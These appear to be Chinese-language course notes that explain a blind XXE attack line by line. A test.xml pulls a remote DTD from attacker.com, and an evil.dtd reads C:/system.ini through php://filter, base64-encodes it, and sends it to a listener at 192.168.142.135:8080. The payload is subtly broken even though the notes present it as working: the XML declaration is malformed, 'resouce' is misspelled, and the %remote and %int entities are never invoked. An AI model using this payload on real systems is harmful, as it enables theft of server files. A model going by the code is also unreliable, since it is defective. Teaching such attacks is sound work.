XXE-payload详细解释

注意：因为一般的浏览器都禁止加载远程dtd文件，所以这个攻击无法演示

# 课程内容
PPT标题：盲打-http接口参数，写入文件

![](/media/202501/2025-01-14_100153_6252640.4845736628866857.png)

这里分为了两个文件，上面是test.xml（注入到服务器的XML内容），下面是远程服务器的evil.dtd文件。

# test.xml内容：
```
<?xml version="1.0">
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
]>
<root>&send;</root>
```

内容解读：
1、
`<?xml version="1.0">` 这个是XML定义

2、
`<!DOCTYPE ANY[]>` 声明了一个文档类型定义（DOCTYPE），ANY是一个通用的标记，表示该文档类型可以包含任意的元素结构

3、
`<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">`
这是对一个外部实体remote的声明。

再次拆分解读：
`% remote`：定义了一个**参数实体（parameter entity）**，参数实体主要用于在DTD（文档类型定义）内部使用，可以被其他DTD声明引用。

`SYSTEM "http://attacker.com/evil.dtd"`：指定了该实体的系统标识符为`http://attacker.com/evil.dtd`，即从这个URL加载外部的DTD文件。

4、
`<root>&send;</root>`
`<root>`：这是XML文档的根元素，表示整个文档内容的开始。

`&send;`：这是一个对实体`send`的引用。在XML中，**实体引用**用于引用在DTD中定义的实体。这里引用的send实体并没有在`test.xml`文件中直接定义，而是依赖于外部加载的`evil.dtd`文件中的定义。

总结：`%`用于定义参数实体。`&`用于引用实体。

# 攻击服务器的evil.dtd文件内容
分为两行，主要作用是定义了两个参数实体`file`和`int`，一个用于读取编码，一个用于发送。
```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM'http://192.168.142.135:8080?p=%file;'>">
```

## file实体定义

`<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini">`
第一行内容解读：
1、
`<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini">`：这是对参数实体file的定义。
2、
`% file`：定义了一个参数实体。
3、
`SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini"`：这里使用了PHP的特殊文件协议`php://filter`。
4、
`php://filter`：这是一个PHP特有的文件协议，用于对数据流进行过滤处理。
`read=convert.base64-encode`：指定了读取操作，并且使用`convert.base64-encode`过滤器。这个过滤器的作用是将读取到的内容进行Base64编码。这是一种常见的数据编码方式，可以将二进制数据转换为文本格式，便于在网络上传输。
5、
`resouce=file:///c:/system.ini`：指定了要读取的资源是本地文件系统中的`C:\system.ini`文件。这是一种典型的文件包含攻击手法，通过读取服务器本地的重要文件（如配置文件、系统文件等）来获取敏感信息。

总结：第一行的作用是通过定义file实体，读取指定的系统文件，并编码为Base64格式，赋值给file实体。

## int实体定义
`<!ENTITY % int "<!ENTITY &#37; send SYSTEM'http://192.168.142.135:8080?p=%file;'>">`

第二行内容解读：
1、
`<!ENTITY % int "<!ENTITY &#37; send SYSTEM'http://192.168.142.135:8080?p=%file;'>">`：这是对**参数实体**int的定义。

2、
`% int`：定义了一个**参数实体**。

3、
`"<!ENTITY &#37; send SYSTEM'http://192.168.142.135:8080?p=%file;'>"`
这是一个嵌套的**实体定义**。

再次拆分解读：
`&#37;`：这是字符引用，表示百分号（%）。这里使用字符引用是为了在实体定义中嵌套另一个实体引用（%file;），避免解析错误。

`send`：定义了一个普通实体（跟前面连起来就是`% send`）。

`SYSTEM'http://192.168.142.135:8080?p=%file;'`：指定了该实体的**系统标识符**。

`http://192.168.142.135:8080?p=%file`：这是一个攻击者控制的URL，`p=%file`;表示将之前定义的`file`实体（即Base64编码后的C:\system.ini文件内容）作为参数`p`的值发送到攻击者的服务器`http://192.168.142.135:8080`

总结：第二行的作用是**定义一个访问远程URL的int实体**，**引用file实体**，实现发送到指定的服务器。

# 总结
这种攻击手法利用了XML外部实体（XXE）漏洞，通过加载恶意的DTD文件，读取服务器本地文件并将文件内容发送到攻击者的服务器，从而实现信息窃取。